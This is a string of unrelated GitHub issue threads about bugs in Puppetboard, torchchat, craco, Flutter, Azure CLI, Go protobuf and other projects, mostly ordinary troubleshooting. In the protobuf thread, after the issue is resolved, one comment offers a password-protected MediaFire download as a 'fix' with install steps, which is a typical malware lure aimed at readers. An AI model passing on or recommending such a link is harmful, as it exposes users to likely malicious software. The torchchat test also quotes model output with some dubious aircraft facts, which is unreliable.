jinja2.exceptions.UndefinedError: 'dict object' has no attribute 'iteritems'
[2017-02-13 13:21:24 +0100] [11148] [DEBUG] Closing connection.
[2017-02-13 13:21:24 +0100] [76105] [DEBUG] GET /static/jquery-datatables-1.10.13/dataTables.semanticui.min.css
[2017-02-13 13:21:24 +0100] [11148] [DEBUG] GET /static/css/puppetboard.css
[2017-02-13 13:21:24 +0100] [11148] [DEBUG] GET /static/jquery-datatables-1.10.13/jquery.dataTables.min.js
[2017-02-13 13:21:24 +0100] [13229] [DEBUG] GET /static/jquery-datatables-1.10.13/dataTables.semanticui.min.js
[2017-02-13 13:21:24 +0100] [65581] [DEBUG] GET /static/js/d3.min.js
[2017-02-13 13:21:24 +0100] [11148] [DEBUG] GET /static/js/c3.min.js
[2017-02-13 13:21:24 +0100] [76105] [DEBUG] GET /static/Semantic-UI-2.1.8/semantic.min.css
[2017-02-13 13:21:24 +0100] [13229] [DEBUG] GET /static/moment.js-2.7.0/moment.min.js
[2017-02-13 13:21:24 +0100] [65581] [DEBUG] GET /static/js/timestamps.js
[2017-02-13 13:21:24 +0100] [65581] [DEBUG] GET /static/js/lists.js
[2017-02-13 13:21:24 +0100] [76105] [DEBUG] GET /static/jquery-2.1.1/jquery.min.js
[2017-02-13 13:21:24 +0100] [11148] [DEBUG] GET /static/js/scroll.top.js
[2017-02-13 13:21:24 +0100] [76105] [DEBUG] GET /static/Semantic-UI-2.1.8/semantic.min.js
[2017-02-13 13:21:24 +0100] [65581] [DEBUG] GET /static/jquery-tablesort-v.0.0.7/jquery.tablesort.min.js
[2017-02-13 13:21:32 +0100] [76105] [DEBUG] GET /static/js/lists.js
[2017-02-13 13:21:32 +0100] [11148] [DEBUG] GET /static/js/tables.js
I just have this in my default_settings.py with regard to INVENTORY_FACTS:
INVENTORY_FACTS = [('Hostname', 'fqdn'),
('IP Address', 'ipaddress'),
('OS', 'lsbdistdescription'),
('Architecture', 'hardwaremodel'),
('Kernel Version', 'kernelrelease'),
('PuppetXXX Version', 'puppetversion'), ]
Just added these XXX to see if it takes it and they are shown in the web interface.
Downgrading again to puppetboard 0.2.0 makes it work again.
I found this thread:
http://stackoverflow.com/questions/30418481/error-dict-object-has-no-attribute-iteritems-when-trying-to-use-networkx
so changed iteritems -> items and the table contents is rendered properly.
0.2.0 as well as the 0.2.1 run with python 3.6.0

@buzzdeee The support of Puppetboard is still limited to Python < 3 as mentioned in the header of the README:
At the current time of writing, Puppetboard supports the following Python versions:
    Python 2.6
    Python 2.7

I was wading through the README, but obviously missed that.
Anyways, for the OpenBSD port, where I run it on, I patched that little thing,
and updated it just yesterday to the 0.2.1, since everything else seems to run fine with python 3.
So, I don't mind if you keep the issue open as a reminder, or close it with that it doesn't apply.
Looking forward to some official python 3 support ;)

@buzzdeee We are moving to python 3x support, so thanks for the feedback.

Seeing the same after bumping to 0.2.2 just now. Looking forward to a 0.3.0 release with #355 :-)

I can confirm this appears to be fixed with the release of 0.3.0 and Python 3 (3.5 in our case).

Can't we close this issue since it has been confirmed to have been fixed in 0.3.0?


Chat tokenization fixes in generate.py & API

Currently, only the chat() function would encode chat-style messages into the correct format during an interactive session.
I adapted the ChatFormat class to create a generic _ChatFormatter base class - each one includes the function encode_dialog_prompt which can take a series of message objects and encode the system prompt & user/assistant messages correctly.
Allows us to load in a whole conversation (i.e. message objects in a completion request) & keep the API/server stateless.
Test:
Initially, I prompted with the following cURL request:
curl http://<IP_ADDRESS>:5000/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "llama2",
    "stream": "true",
    "seed": "123",
    "max_tokens": "200",
    "messages": [
      {
        "role": "system",
        "content": "You are a helpful assistant. Be as brief as possible, no yapping. Do not include additional details unless asked."
      },
      {
        "role": "user",
        "content": "List 3 early jet fighters."
      }
    ]}'

Then, I added the model's response and prompted it again with the following:
curl http://<IP_ADDRESS>:5000/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "llama2",
    "stream": "true",
    "seed": "123",
    "max_tokens": "200",
    "messages": [
      {
        "role": "system",
        "content": "You are a helpful assistant. Be as brief as possible, no yapping. Do not include additional details unless asked."
      },
      {
        "role": "user",
        "content": "List 3 early jet fighters."
      },
      {
        "role": "system",
        "content": "Certainly! Here are three early jet fighters:\n\n1. Gloster Meteor (UK, 1943)\n2. Messerschmitt Me 262 (Germany, 1944)\n3. Lockheed P-80 Shooting Star (US, 1948)"
      },
      {
        "role": "user",
        "content": "Were there any notable ones from the Soviet Union or Japan?"
      }
    ]
  }'

And got the following response:
Yes, here are a few notable early jet fighters from the Soviet Union and Japan:

Soviet Union:

1. MiG-15 (1947)
2. Lavochkin La-150 (1948)
3. Yakovlev Yak-15 (1946)

Japan:

1. Nakajima J7W (1944)
2. Mitsubishi J8M (1945)
3. Kawasaki Ki-200 (1945)

These early jet fighters represented significant advancements in aeronautical technology and played important roles in their respective countries' militaries during the Cold War era.

lgtm, remember to verify that python3 torchchat.py generate and chat still works properly for llama2/3 with these changes as well?

I believe this PR introduced a regression because encode_header now takes a string, but there is a spot in the Generator::chat method that is still passing a dictionary.


Error: certificate has expired

Your certificate for mails is expired, can you fix?

ack - looking into this:
https://github.com/cinotify/app/blob/a2e05b5f687d14eb01479a6ed19319721221d020/app/models/notification.rb#L14-L15
but no issues with sendgrid - https://status.sendgrid.com/

@gitroli  @mahendrapazcare can you confirm this is resolved?

It works now, thx


PUBLIC_URL is ignored if set in .env

Bug report
I try to host my application beneath different paths. To control this is se the PUBLIC_URL variable in my .env files.

What is the current behavior?
In my generated index.html the script tag for static js does not start with my path which I set via the PUBLIC_URL in .env file. If I set the variable on the host like PUBLIC_URL=/some-path rpm run build, the static path will start with /some-path. Additionally if I inspect webpack.output.publicPath the correct value is displayed.
If the current behavior is a bug, please provide the steps to reproduce.

react-scripts project with craco enabled
use CracoEnv plugin
create .env.production
run craco build --mode production

What is the expected behavior?
The static js path should have a prefix, which can be set in .env.
I am aware that react-scripts is not scope of this repository. But that the behavior diverges when using a host environment vs a .env variable seems to be a bug.

Other relevant information:
webpack version:  ^5.64.4
Node.js version: v16.19.1
Operating System: MacOs Ventura 13.2.1
Additional tools: react-scripts & craco to override webpack config

Make sure the PUBLIC_URL is added in the webpack config via the DefinePlugin

Thanks for the hint.
But actually PUBLIC_URL is present in the Define Plugin see:
definitions: {
    'process.env': {
      NODE_ENV: '"production"',
      PUBLIC_URL: '"/test"',
     // additional variables ..
    }
}

Not sure, I haven't used craco before. Would be great if you can create a repo on github to reproduce and share and share full webpack config.

I just created a reproduction project. And the issue did not happen there. It seems that the 6.x.x version of craco has this problem. Now with the latest 7.x.x everything works fine.
I guess the issue can be resolved on my side by updating dependencies. Thanks anyways for your help. 😄


Exercise 5 level 4

Description:
Facing some issues with regards to the implementation of the or method in level 4 of exercise 5. Why cant my Supplier<Maybe> be converted to Supplier<Maybe<? extends Object>> when Integer extends Object?
Code Snippets

Screenshots

Maybe<Integer> can be converted to Maybe<? extends Object>. However, a Supplier<Maybe<Integer>> cannot be converted to a Supplier<Maybe<? extends Object>> (remember: generics are type-invariant). you might need a ? extends Maybe

oh i get it now thanks for the help!


[Caching] Mark -typecheck action as caching supported

This is a regression causing lots of cached diagnostics tests not functioning since the cached diagnostics processors are not initialized for those tests which are supposed to test diagnostics caching.
The regression is caused by the fix that the typecheck module interface job need to run a typecheck job in the sub-invocation. Now the typecheck module interface job is correctly setup to avoid diagnostics about unsupported file system error.

@swift-ci please smoke test


Please ensure that you set the default write concern message

I have got this annoying message everytime I launch app.js.
Please ensure that you set the default write concern for the database by setting
one of the options
   w: (value of > -1 or the string 'majority'), where < 1 means
      no write acknowledgement
   journal: true/false, wait for flush to journal before acknowledgement
   fsync: true/false, wait for flush to file system before acknowledgement

For backward compatibility safe is still supported and
 allows values of [true | false | {j:true} | {w:n, wtimeout:n} | {fsync:true}]
the default value is false which means the driver receives does not
 return the information of the success/error of the insert/update/remove
 ex: new Db(new Server('localhost', 27017), {safe:false})
 http://www.mongodb.org/display/DOCS/getLastError+Command

The default of no acknowledgement will change in the very near future
This message will disappear when the default safe is set on the driver Db

I tried to set dbOptions accordingly to the recommendations with no success.

Hi, check this answer
http://stackoverflow.com/a/25253935/1419519

Check out the PR in #48.  It's a one-line fix.  You've got the right idea, but it needs to go just after the dbOptions, as a separate argument.


Performance drop on Firefox

Steps to reproduce

Build any app @ 3df4e73 (master 29-12-23) using canvaskit renderer.
Open with Firefox

Expected results
There should be no noticeable lag spikes
Actual results
The performance is bad, the input is laggy, there is consistent lag spikes, see video.
Code sample
Use gallery demo
Screenshots or Video

Video @ stable 3.16.5 (good performance)
https://github.com/flutter/flutter/assets/4956754/e6c998de-9eb1-4456-9fd3-fe52daae512d

Video @ master (bad performance)
https://github.com/flutter/flutter/assets/4956754/8919390a-a9aa-481e-9569-eff9a8ad82e8

Logs
No response
Flutter Doctor output
Doctor output
[✓] Flutter (Channel stable, 3.16.5, on Fedora Linux 39 (KDE Plasma) 6.6.8-200.fc39.x86_64, locale en_US.UTF-8)
    • Flutter version 3.16.5 on channel stable at /home/bri/sdk/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 78666c8dc5 (10 days ago), 2023-12-19 16:14:14 -0800
    • Engine revision 3f3e560236
    • Dart version 3.2.3
    • DevTools version 2.28.4

[✗] Android toolchain - develop for Android devices
    ✗ Unable to locate Android SDK.
      Install Android Studio from: https://developer.android.com/studio/index.html
      On first launch it will assist you in installing the Android SDK components.
      (or visit https://flutter.dev/docs/get-started/install/linux#android-setup for detailed instructions).
      If the Android SDK has been installed to a custom location, please use
      `flutter config --android-sdk` to update to that location.

[✓] Chrome - develop for the web
    • CHROME_EXECUTABLE = /opt/brave.com/brave/brave-browser

[✓] Linux toolchain - develop for Linux desktop
    • clang version 17.0.6 (Fedora 17.0.6-1.fc39)
    • cmake version 3.27.7
    • ninja version 1.11.1
    • pkg-config version 1.9.5

[!] Android Studio (not installed)
    • Android Studio not found; download from https://developer.android.com/studio/index.html
      (or visit https://flutter.dev/docs/get-started/install/linux#android-setup for detailed instructions).

[✓] VS Code (version 1.85.1)
    • VS Code at /usr/share/code
    • Flutter extension version 3.80.0

[✓] Connected device (2 available)
    • Linux (desktop) • linux  • linux-x64      • Fedora Linux 39 (KDE Plasma) 6.6.8-200.fc39.x86_64
    • Chrome (web)    • chrome • web-javascript • Brave Browser <IP_ADDRESS>

[✓] Network resources
    • All expected network resources are available.

! Doctor found issues in 2 categories.

Thanks for the report. I was able to replicate the slowness of gallery app running on firefox, as compared to running on chrome, that too, using latest master version, as, on stable, it works as expected on Firefox.

Firefox and chrome on master:

https://github.com/flutter/flutter/assets/67046386/251ddeae-aed6-407b-8815-cb73444d2deb

Firefox on stable:

https://github.com/flutter/flutter/assets/67046386/50148ec3-b0b3-4a09-a47d-463b47653430

 stable, master flutter doctor -v
[!] Flutter (Channel stable, 3.16.5, on macOS 12.2.1 21D62 darwin-x64, locale
    en-GB)
    • Flutter version 3.16.5 on channel stable at
      /Users/dhs/documents/fluttersdk/flutter
    ! Warning: `flutter` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/flutter, which is not inside
      your current Flutter SDK checkout at
      /Users/dhs/documents/fluttersdk/flutter. Consider adding
      /Users/dhs/documents/fluttersdk/flutter/bin to the front of your path.
    ! Warning: `dart` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/dart, which is not inside your
      current Flutter SDK checkout at /Users/dhs/documents/fluttersdk/flutter.
      Consider adding /Users/dhs/documents/fluttersdk/flutter/bin to the front
      of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 78666c8dc5 (13 days ago), 2023-12-19 16:14:14 -0800
    • Engine revision 3f3e560236
    • Dart version 3.2.3
    • DevTools version 2.28.4
    • If those were intentional, you can disregard the above warnings; however
      it is recommended to use "git" directly to perform update checks and
      upgrades.

[!] Xcode - develop for iOS and macOS (Xcode 12.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    ! Flutter recommends a minimum Xcode version of 13.
      Download the latest version or update via the Mac App Store.
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.21.0

[✓] Connected device (5 available)
    • SM G975F (mobile)       • RZ8M802WY0X • android-arm64   • Android 11 (API 30)
    • Darshan's iphone (mobile)  • 21150b119064aecc249dfcfe05e259197461ce23 •
      ios            • iOS 14.4.1 18D61
    • iPhone 12 Pro Max (mobile) • A5473606-0213-4FD8-BA16-553433949729     •
      ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-3 (simulator)
    • macOS (desktop)            • macos                                    •
      darwin-x64     • Mac OS X 10.15.4 19E2269 darwin-x64
    • Chrome (web)               • chrome                                   •
      web-javascript • Google Chrome 98.0.4758.80

[✓] HTTP Host Availability
    • All required HTTP hosts are available

! Doctor found issues in 1 category.

[!] Flutter (Channel master, 3.18.0-18.0.pre.47, on macOS 12.2.1 21D62
    darwin-x64, locale en-GB)
    • Flutter version 3.18.0-18.0.pre.47 on channel master at
      /Users/dhs/documents/fluttersdk/flutter
    ! Warning: `flutter` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/flutter, which is not inside
      your current Flutter SDK checkout at
      /Users/dhs/documents/fluttersdk/flutter. Consider adding
      /Users/dhs/documents/fluttersdk/flutter/bin to the front of your path.
    ! Warning: `dart` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/dart, which is not inside your
      current Flutter SDK checkout at /Users/dhs/documents/fluttersdk/flutter.
      Consider adding /Users/dhs/documents/fluttersdk/flutter/bin to the front
      of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 3df4e735d5 (3 days ago), 2023-12-29 14:07:39 -0500
    • Engine revision 9e03a57cde
    • Dart version 3.3.0 (build 3.3.0-273.0.dev)
    • DevTools version 2.31.0-dev.0
    • If those were intentional, you can disregard the above warnings; however
      it is recommended to use "git" directly to perform update checks and
      upgrades.

[!] Android toolchain - develop for Android devices (Android SDK version 30.0.3)
    • Android SDK at /Users/dhs/Library/Android/sdk
    ✗ cmdline-tools component is missing
      Run `path/to/sdkmanager --install "cmdline-tools;latest"`
      See https://developer.android.com/studio/command-line for more details.
    ✗ Android license status unknown.
      Run `flutter doctor --android-licenses` to accept the SDK licenses.
      See https://flutter.dev/docs/get-started/install/macos#android-setup for
      more details.

[✓] Xcode - develop for iOS and macOS (Xcode 13.2.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 13C100
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] IntelliJ IDEA Ultimate Edition (version 2021.3.2)
    • IntelliJ at /Applications/IntelliJ IDEA.app
    • Flutter plugin version 65.1.4
    • Dart plugin version 213.7228

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.29.0

[✓] Connected device (3 available)
    • Darshan's iphone (mobile) • 21150b119064aecc249dfcfe05e259197461ce23 • ios
      • iOS 15.3.1 19D52
    • macOS (desktop)           • macos                                    •
      darwin-x64     • macOS 12.2.1 21D62 darwin-x64
    • Chrome (web)              • chrome                                   •
      web-javascript • Google Chrome 109.0.5414.119

[✓] Network resources
    • All expected network resources are available.

! Doctor found issues in 1 category.

[!] Xcode - develop for iOS and macOS (Xcode 12.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    ! Flutter recommends a minimum Xcode version of 13.
      Download the latest version or update via the Mac App Store.
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.21.0

[✓] Connected device (5 available)
    • SM G975F (mobile)       • RZ8M802WY0X • android-arm64   • Android 11 (API 30)
    • Darshan's iphone (mobile)  • 21150b119064aecc249dfcfe05e259197461ce23 •
      ios            • iOS 14.4.1 18D61
    • iPhone 12 Pro Max (mobile) • A5473606-0213-4FD8-BA16-553433949729     •
      ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-3 (simulator)
    • macOS (desktop)            • macos                                    •
      darwin-x64     • Mac OS X 10.15.4 19E2269 darwin-x64
    • Chrome (web)               • chrome                                   •
      web-javascript • Google Chrome 98.0.4758.80

[✓] HTTP Host Availability
    • All required HTTP hosts are available

! Doctor found issues in 1 category.

Fixed by https://github.com/flutter/engine/pull/49572


Scribe document

User guide for Scribe

@SeemaNandihal please update the link of the scribe document you are working on in the title

@SeemaNandihal please update the link of the scribe document you are working on in the description
Please update the document as mentioned above
@SeemaNandihal

Its done https://scribe-editor-docs.netlify.app/


az apim create fails when --enable-managed-identity is provided

Describe the bug
Command Name
az apim create
Errors:
'ApiManagementServiceResource' object does not support item assignment
Traceback (most recent call last):
python3.6/site-packages/knack/cli.py, ln 206, in invoke
    cmd_result = self.invocation.execute(args)
cli/core/commands/__init__.py, ln 608, in execute
    raise ex
cli/core/commands/__init__.py, ln 666, in _run_jobs_serially
    results.append(self._run_job(expanded_arg, cmd_copy))
...
azure/cli/core/__init__.py, ln 490, in default_command_handler
    return op(**command_args)
cli/command_modules/apim/custom.py, ln 29, in create_apim
    resource['identity'] = ApiManagementServiceIdentity(type="SystemAssigned")
TypeError: 'ApiManagementServiceResource' object does not support item assignment

To Reproduce:
Steps to reproduce the behavior. Note that argument values have been redacted, as they may contain sensitive information.

az apim create --name apimname -g apimrg -l centralus --sku-name Developer --publisher-email<EMAIL_ADDRESS>--publisher-name Microsoft --enable-managed-identity true

Expected Behavior
apim is created and a managed identity is created for it
Environment Summary
Linux-4.4.0-18362-Microsoft-x86_64-with-debian-buster-sid
Python 3.6.5
Shell: bash

azure-cli 2.0.78
azure-cli-ml <IP_ADDRESS>

Extensions:
application-insights 0.1.1
azure-cli-ml <IP_ADDRESS>
interactive 0.4.3

Additional Context

Any feedback here?

I was having the same issue today.. I found a workaround https://dearsi-mocha.github.io/cloudsauce/2020/04/23/azure-apim-cli-woes/

This still seems to be an issue. Any update here?

API Management service team should look into this.

This issue has been open since December 2019 and still doesn't appear to have been resolved, judging by my inability to deploy with a managed identity today.
Is there any update or any plan to resolve this?

@thisisbrianstewart Apologies for the late reply. I was able to run the below command in azure cloud shell and it worked fine.

***/Azure:~$ az apim create --name MyApim -g MyRG -l eastus --publisher-email<EMAIL_ADDRESS>--publisher-name Contoso --enable-managed-identity true

More Info here. Could you please test the same using most recent version of AzCLI and let me know if you face any issues ? Awaiting your reply.


docs(ldap-auth-advanced) add more notes

Referrals are not supported in the plugin. One way to work around this is
to hit the LDAP Global Catalog instead, which is usually listenning on a
different port than the default 389. This way, referrals don't get sent
back to the plugin.
The plugin doesn’t authenticate users (allow/deny requests) based on group
membership. For example:

if the user is member of an LDAP group, the request will be allowed -> 200 OK
if the user is not member of a group, the request will still be allowed -> 200 OK

Review

@reviewer
Summary

Reason

Testing

Direct review link: https://deploy-preview-2779--kongdocs.netlify.app/hub/kong-inc/ldap-auth-advanced/#notes


[6.0] IRGen: don't stack promote classes for which the layout has not a fixed size

Explanation: Fixes a mis-compile caused by stack promotion of classes. The reserved stack space was wrong for classes which are imported from another module and contain implementation-only C-imported stored properties. Those properties don't show up in the class layout and make the class not "fixed size". For other cases of not fixed-size classes (e.g. classes containing resilient properties) this was already checked with ClassLayout::isFixedLayout. But for this specific case a check with ClassLayout::isFixedSize is required.
Scope: Affects code using classes as described above
Risk: Low. The changes adds a simple bail-out condition for stack promotion
Testing: Tested by a test case
Issue: rdar://131067105
Reviewer:  @aschwaighofer
Main branch PR: https://github.com/swiftlang/swift/pull/74969

@swift-ci test


Slice of generated message structs is both empty and not empty at the same time

I'm really sorry for the bad title but I really have no idea what's happening here, none of this makes any sense.
I am new to protobuf, and I am having trouble with the generated message types. I am trying to prepare messages in one goroutine, put them in a channel, and collect them in another goroutine to package them into the final message to send back.
entity := &protobuf.EntityCreate{
	Id:       player.ID(),
	Type:     protobuf.EntityType_PLAYER,
	X:        player.X,
	Y:        player.Y,
	Rotation: player.Rotation,
}

fmt.Println(entity)  // This logs a blank line
fmt.Println(*entity) // This logs the data

g.EntityCreates <- entity

However when I pull the messages out of the channel to put them into a slice for the final message, the slice is still empty (but still has length of 1):
update := &protobuf.FrameUpdate{
	EntityCreates: make([]*protobuf.EntityCreate, len(g.EntityCreates)),
}

fmt.Println(len(g.EntityCreates)) // This correctly logs a 1, channel definitely has data
for i := range len(g.EntityCreates) {
	update.EntityCreates[i] = <-g.EntityCreates
	fmt.Println(len(g.EntityCreates)) // This logs a 0, so data definitely got read into the slice
}

fmt.Println(len(update.EntityCreates)) // This logs a 1, great!
fmt.Println(update.EntityCreates)      // This logs empty brackets: "[]" (not great)
fmt.Println(update.EntityCreates[0])   // This crashes the program with an index out of range error (how???)

data, err := proto.Marshal(update)
if err == nil {
	err = c.WriteMessage(websocket.BinaryMessage, data)
}

Finally, when I parse these messages out on the receiving end, I get the FrameUpdate object but the EntityCreates array inside is still empty.
This is my protoc command: protoc --experimental_allow_proto3_optional --go_opt=paths=source_relative -I=./proto-schema --go_out=./proto ./proto-schema/messages.proto

Small side note: style is to rename your protobuf package import into pb (if you import more than one, then some sort of abbreviation + pb, so like field_office_operations_proto would be foopb), to reduce the number of characters of a sequence that usually ends up appearing in a lot of the code.
Could you provide the actual stacktrace from the panic when you access update.EntityCreates[0]?
What are the values you’re feeding into &protobuf.EntityCreate{}? Any of the values that are the zero value, will be omited from the prototext render you’ll get from fmt.Sprint(&pb.FooMessage{}), and if all the values are zero values, then it should end up being an empty string. If you could share the results from the fmt.Println(*entity) that would help.
Adding onto that last paragraph, it’s recommended to make your first Enum value INVALID or UNKNOWN or some other value that is clearly not valid data. Since this will be the zero value, it’s the value that won’t (by default) show up in prototext or protojson. It’s best when that omitted value is an invalid value, rather than a valid value.
In the end, I’m pretty sure based on the symptoms you describe that you’re running into “zero values are omitted from marshalled data”. But without the above extra details it’s hard to be 100% sure.

but the EntityCreates array inside is still empty.

Does it have len(EntityCreates) == 0 or when you print it out it’s [] empty?

@puellanivis Okay, we may be getting somewhere because I didn't know zero values were excluded when printing. Yes all of the data was default zero values in this particular case. However, I just tested again hardcoding in some non-zero values, and while the data does actually print now when I log the struct, the client still gets an empty array.
The client receiving this data is in JavaScript, so it's pretty clear there that it's an empty array, and it is still getting an empty array even when sending the message with non-zero data.
With the non-zero data hardcoded in, if I print the update variable right before marshaling, it does print data now:
update := &pb.FrameUpdate{
	EntityCreates: make([]*pb.EntityCreate, len(g.EntityCreates)),
}

for i := range len(g.EntityCreates) {
	update.EntityCreates[i] = <-g.EntityCreates
}

fmt.Println(update) // This does print the expected data now

data, err := proto.Marshal(update)
if err == nil {
	err = c.WriteMessage(websocket.BinaryMessage, data) // Client receives and parses this message, but still, `entityCreates` is empty
}

The issue was with my client, I was not decoding the message correctly and it wasn't giving me an error to indicate that.

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Create Houston_J-sub3.csv

Hello. I'm afraid you made this PR after the contest closed at 6 pm CST yesterday. In fairness to the others, I can't change your score --- sorry about that --- but I can score this for you if you like.
Either way, thank you very much for your participation.

No problem. Would you please just give me a score? Will you publish the true data?
Thanks
Sent from my iPhone

On 1 Feb 2017, at 5:29 AM, Matt Hall<EMAIL_ADDRESS>wrote:
Hello. I'm afraid you made this PR after the contest closed at 6 pm CST yesterday. In fairness to the others, I can't change your score --- sorry about that --- but I can score this for you if you like.
Either way, thank you very much for your participation.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.


Make sure /sys/fs/cgroup is mounted on Alpine for container support

Fixes #66
Normally this would be done by the openrc script for containerd, e.g. https://github.com/alpinelinux/aports/blob/master/community/containerd/containerd.initd#L22-L24
Signed-off-by: Jan Dubois<EMAIL_ADDRESS>

@AkihiroSuda I don't see how this PR could break the debian test, as it it only modifies the Alpine part of the code. I don't have permission to request a re-run of the action; can you do this? Or should I push an empty commit to trigger it again?

Thanks, I sent you an invitation to give write access to this repo, so now you can probably restart CI

now you can probably restart CI

Thank you, I do get the "Rerun jobs" button now.